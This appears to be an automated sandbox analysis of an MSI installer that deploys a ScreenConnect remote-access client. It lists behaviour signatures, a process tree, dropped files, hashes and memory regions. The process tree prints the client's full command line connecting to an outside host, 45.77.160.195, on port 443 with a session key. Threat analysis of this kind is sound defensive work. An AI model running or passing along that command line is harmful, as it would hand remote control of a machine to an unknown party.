Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29/03/2024, 18:45

General

  • Target

    1.msi

  • Size

    8.9MB

  • MD5

    8d35f3ca2e59b85c8c8caed123a4f6cd

  • SHA1

    54ee7e40bab670bc2fdc5dbd7787d705d643b0f9

  • SHA256

    8ef318fa5dba85344f79f7e4a7b022d09d99bbd36d5e8aa5353018c867e85b2c

  • SHA512

    192ed0a8536356af37d2ec9e9597bef3befa3d0911bea214702ed1dd761b761bc54204a409618ce4e51fbbaf256f97f73fbbc139e729a64412db930413a8d025

  • SSDEEP

    98304:WOPvLtabi4X0MV+dYdcGt7VIb4JOPvLtabi4X0MV+dYdOOPvLtabi4X0MV+dYd+X:Wws3V+arws3V+xws3V+dws3V+6ws3V+

Score
8/10

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 15 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Registers COM server for autorun 1 TTPs 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\1.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1288
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Registers COM server for autorun
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding AD8E17C020DDA70E38D92E32437D3191 C
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI89A9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259427385 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        PID:2724
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 96F6B6BA5CFC12DB3CC1494BD4276F03
      2⤵
      • Loads dropped DLL
      PID:2364
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 47C71847B75EA5D05181243371245ED0 M Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      PID:372
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
      PID:2428
    • C:\Windows\system32\DrvInst.exe
      DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000002B8" "00000000000005A0"
      1⤵
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      PID:1608
    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=45.77.160.195&p=443&s=f0653046-bbc4-4cbe-9265-f0f441424131&k=BgIAAACkAABSU0ExAAgAAAEAAQBVCWTmLE33JcPLjJezBrwOkI%2b8ZLWJbkfPUj4mui8bB5aA3FfDWdE9pv45IhOy%2fBuonb5uY75AfdUpovFKH%2fT5By3gQjBf88HWFgEN4iYik1B0e0et7Wc3hyBM431MAKUyIkltdyvKpZKW64L6nfS5pt97i3Yfvb8341CVuyHBwTCtb68JStzGeeJIVNMcVnasP11V204VVtDpkTbD2skXmonez4hN3YcdzNCQuj%2bBlDFuy4wTUA7kSe%2buX%2bV5cNkyWYPRaewb%2bDhQnlYr9ytCGLjTmzjKLeHWBKAEpEapOzJiFHMMa4XISQtJmK5t%2bfxXYWUuhnCDHnlSoipWL5Sg"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe" "RunRole" "45614e5b-03f8-4c12-8d45-93ebebc59e9a" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: AddClipboardFormatListener
        PID:1488
      • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe" "RunRole" "c0b8db24-7c42-41b5-a015-2d4ea8745351" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Suspicious behavior: AddClipboardFormatListener
        PID:2884

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Config.Msi\f76f614.rbs

      Filesize

      212KB

      MD5

      c2f6d84f622ce1b796472a91ef4c65b8

      SHA1

      1862a96eac00a59ddff150df9036ce6e35f324c6

      SHA256

      3a46008bfe92300dd4b2d09af2e123db203d9c2c8c729fb4eac733345b5c08d3

      SHA512

      2fd665b8228f6a66e6b44ec6b7a6ef623bdce27eb1d21aedfb5b50d1c171cf4a8f8a4d935041f4973b305735d5333632819f3414cc49a4a9d44168cacc8ac479

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\Client.en-US.resources

      Filesize

      47KB

      MD5

      3e83a3aa62c5ff54ed98e27b3fbecf90

      SHA1

      96d8927c870a74a478864240b3ace94ad543dfb8

      SHA256

      2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90

      SHA512

      ea9d05a4aa1ee5cccc61c4f5e8994efba9efff0549b69577bef1f2a22cce908739124eff1e0db5cfdd69e077ad2d7cdb1307de92d79673c9309ee621cb139956

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\Client.resources

      Filesize

      26KB

      MD5

      5cd580b22da0c33ec6730b10a6c74932

      SHA1

      0b6bded7936178d80841b289769c6ff0c8eead2d

      SHA256

      de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c

      SHA512

      c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.Client.dll

      Filesize

      188KB

      MD5

      6bc9611d5b6cee698149a18d986547a8

      SHA1

      f36ab74e4e502fdaf81e101836b94c91d80cb8ea

      SHA256

      17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed

      SHA512

      3f23670d0ba150de19a805db6beb6eed8538bbad6fbe3cc21d17d738a43cf411c679a23cea11549e69be0321e672f740791d40e92498aef9d1f8650743ee85ea

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.ClientService.dll

      Filesize

      60KB

      MD5

      22af3a23bd30484514cdacf67c5b3810

      SHA1

      e92a4eaee9d896964de541ce2f01c2404b638258

      SHA256

      7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9

      SHA512

      95e40b27e90fce7ca85e76afbbc16eb62b4bb977664702b987de2eb2294e6fe9e6df5610ec7b2362c2c68493313f30fbbcbd3446dbe8ae2fa47b89407f5d5936

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.ClientService.exe

      Filesize

      93KB

      MD5

      dc615e9d8ec81cbf2e2452516373e5a0

      SHA1

      ec83d37a4f45caeb07b1605324d0315f959452e9

      SHA256

      e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc

      SHA512

      82fe00447fb9785264dfb8032399adf6d33d91d71058212d252742c9e5fd54f5a52f6baf4fb05e95f9a4055057c60a33a7c1c642f18a6a4e045b49be88fa5d9f

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.Windows.dll

      Filesize

      1.6MB

      MD5

      29454a0cb83f28c24805e9a70e53444a

      SHA1

      334202965b07ab69f08b16fed0ee6c7274463556

      SHA256

      998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14

      SHA512

      62790920974a2f1b018d466ae3e3b5100006a3c8013f43bdb04af7074cfe5d992caaeb610de2b1b72ff0e4acf8762db1513a4a0cf331f9a340ae0ce53c3be895

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe.config

      Filesize

      266B

      MD5

      728175e20ffbceb46760bb5e1112f38b

      SHA1

      2421add1f3c9c5ed9c80b339881d08ab10b340e3

      SHA256

      87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077

      SHA512

      fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsCredentialProvider.dll

      Filesize

      746KB

      MD5

      f01a59c5cf7ec437097d414d7c6d59c4

      SHA1

      9ea1c3fbf3b5adbe5a23578dea3b511d44e6a2dd

      SHA256

      62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8

      SHA512

      587748ad4dd18677a3b7943eab1c0f8e77fe50a45e17266ba9a0e1363eda0ff1eabcf11884a5d608e23baf86af8f011db745ad06bcdecdfd01c20430745fe4bb

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\app.config

      Filesize

      2KB

      MD5

      7012f3944344133dff0d9e648d7b9b8b

      SHA1

      742f3a7ccac32bf015f517e6e50cc84050a2db51

      SHA256

      bb1eb1ec1d63e5c07341c3495792fe1bed30d974b81ee05194221a427a46ed5d

      SHA512

      aa1ee901a6c2c2b394642129743771cf8873f19e190c3558488871921216f1c3310fe5d31e3f3e3390a601a5732a834a922f700890375d105ab1d1a42e60c112

    • C:\Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\system.config

      Filesize

      934B

      MD5

      eb07a1f7e75a6dce30622a35383223f7

      SHA1

      32bedd045211ac7913a2b7e17b4971bfba96c41f

      SHA256

      df73cba8fe1a419f7d9bd50e1e33be7f243dad5408c9112606b283506548df8d

      SHA512

      499ef84d6e2cc00f63f65e0f09dbd48f18036954b886d1b3133c1f336ed12770ebe452b4fbda0ca2a6be6efa2b56c7b1abb13e8154fec60822e2d21bcad10454

    • C:\Users\Admin\AppData\Local\Temp\MSI89A9.tmp

      Filesize

      1017KB

      MD5

      8d94c9f4c07b76b4e32daffcc51109da

      SHA1

      62e31a89c488d6745abb72a3071f688fd6180d33

      SHA256

      2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7

      SHA512

      0092cbbd95777e6931864d61931efdf3a349f79c575030cad9a1771432f52e1bdc25d5640e2923d202c42c2ce242d00187486334a946e97319d48211233eb0ac

    • C:\Windows\Installer\MSIF99C.tmp

      Filesize

      202KB

      MD5

      ba84dd4e0c1408828ccc1de09f585eda

      SHA1

      e8e10065d479f8f591b9885ea8487bc673301298

      SHA256

      3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852

      SHA512

      7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290

    • C:\Windows\Installer\f76f612.msi

      Filesize

      8.9MB

      MD5

      8d35f3ca2e59b85c8c8caed123a4f6cd

      SHA1

      54ee7e40bab670bc2fdc5dbd7787d705d643b0f9

      SHA256

      8ef318fa5dba85344f79f7e4a7b022d09d99bbd36d5e8aa5353018c867e85b2c

      SHA512

      192ed0a8536356af37d2ec9e9597bef3befa3d0911bea214702ed1dd761b761bc54204a409618ce4e51fbbaf256f97f73fbbc139e729a64412db930413a8d025

    • \Program Files (x86)\ScreenConnect Client (6c9c2b0db070ede3)\ScreenConnect.WindowsClient.exe

      Filesize

      573KB

      MD5

      5dec65c4047de914c78816b8663e3602

      SHA1

      8807695ee8345e37efec43cbc0874277ed9b0a66

      SHA256

      71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e

      SHA512

      27b5dcb5b0aeadf246b91a173d06e5e8d6cf2cd19d86ca358e0a85b84cd9d8f2b26372ef34c3d427f57803d90f2e97cf59692c80c268a71865f08fc0e7ce42d1

    • \Users\Admin\AppData\Local\Temp\MSI89A9.tmp-\Microsoft.Deployment.WindowsInstaller.dll

      Filesize

      172KB

      MD5

      5ef88919012e4a3d8a1e2955dc8c8d81

      SHA1

      c0cfb830b8f1d990e3836e0bcc786e7972c9ed62

      SHA256

      3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d

      SHA512

      4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684

    • \Users\Admin\AppData\Local\Temp\MSI89A9.tmp-\ScreenConnect.Core.dll

      Filesize

      519KB

      MD5

      b319407e807be1a49e366f7f8ea7ee2a

      SHA1

      b12197a877fb7e33b1cb5ba11b0da5ca706581ba

      SHA256

      761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742

      SHA512

      dc497643790dc608dece9c8fe7264efedd13724bd24c9bf28a60d848b405fddefb8337a60f3f32bb91518910e02c7a2aaf29fc32f86a464dfcafa365526bdb7f

    • \Users\Admin\AppData\Local\Temp\MSI89A9.tmp-\ScreenConnect.InstallerActions.dll

      Filesize

      21KB

      MD5

      b0585159161d50e330b7f8eda50a2770

      SHA1

      8636fab3ce6c21a42d3e5fbd495c2ddad4279162

      SHA256

      ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8

      SHA512

      e9ae99bdce64ca4282fa4580d3b081f7d0874c756aef77fb58e10db148e2f670ba48667ce62033c6f514ff825dc54c1bdbae2c7f8d5f9355486402cf75e1d5ad

    • memory/1488-126-0x0000000001FA0000-0x0000000001FB6000-memory.dmp

      Filesize

      88KB

    • memory/1488-121-0x0000000001E70000-0x0000000001EF8000-memory.dmp

      Filesize

      544KB

    • memory/1488-140-0x000000001B9F0000-0x000000001BA70000-memory.dmp

      Filesize

      512KB

    • memory/1488-132-0x000007FEF4FF0000-0x000007FEF59DC000-memory.dmp

      Filesize

      9.9MB

    • memory/1488-120-0x0000000000440000-0x0000000000476000-memory.dmp

      Filesize

      216KB

    • memory/1488-119-0x0000000000840000-0x00000000008D4000-memory.dmp

      Filesize

      592KB

    • memory/1488-125-0x0000000001F00000-0x0000000001F16000-memory.dmp

      Filesize

      88KB

    • memory/1488-124-0x000000001B9F0000-0x000000001BA70000-memory.dmp

      Filesize

      512KB

    • memory/1488-122-0x000000001B2B0000-0x000000001B45A000-memory.dmp

      Filesize

      1.7MB

    • memory/1488-123-0x000007FEF4FF0000-0x000007FEF59DC000-memory.dmp

      Filesize

      9.9MB

    • memory/2164-131-0x00000000736D0000-0x0000000073DBE000-memory.dmp

      Filesize

      6.9MB

    • memory/2164-107-0x0000000000A50000-0x0000000000A86000-memory.dmp

      Filesize

      216KB

    • memory/2164-83-0x0000000003320000-0x00000000033A8000-memory.dmp

      Filesize

      544KB

    • memory/2164-77-0x00000000003D0000-0x00000000003E6000-memory.dmp

      Filesize

      88KB

    • memory/2164-79-0x0000000000450000-0x0000000000490000-memory.dmp

      Filesize

      256KB

    • memory/2164-78-0x00000000736D0000-0x0000000073DBE000-memory.dmp

      Filesize

      6.9MB

    • memory/2164-87-0x00000000039C0000-0x0000000003B6A000-memory.dmp

      Filesize

      1.7MB

    • memory/2164-109-0x0000000003E50000-0x0000000003F0E000-memory.dmp

      Filesize

      760KB

    • memory/2164-74-0x00000000003D0000-0x00000000003E6000-memory.dmp

      Filesize

      88KB

    • memory/2724-17-0x0000000002700000-0x0000000002740000-memory.dmp

      Filesize

      256KB

    • memory/2724-25-0x0000000002230000-0x00000000022B8000-memory.dmp

      Filesize

      544KB

    • memory/2724-35-0x0000000073690000-0x0000000073D7E000-memory.dmp

      Filesize

      6.9MB

    • memory/2724-16-0x0000000000530000-0x000000000055E000-memory.dmp

      Filesize

      184KB

    • memory/2724-11-0x0000000073690000-0x0000000073D7E000-memory.dmp

      Filesize

      6.9MB

    • memory/2724-21-0x00000000009E0000-0x00000000009EC000-memory.dmp

      Filesize

      48KB

    • memory/2884-129-0x000007FEF4FF0000-0x000007FEF59DC000-memory.dmp

      Filesize

      9.9MB

    • memory/2884-141-0x000007FEF4FF0000-0x000007FEF59DC000-memory.dmp

      Filesize

      9.9MB

    • memory/2884-144-0x000000001BA50000-0x000000001BAD0000-memory.dmp

      Filesize

      512KB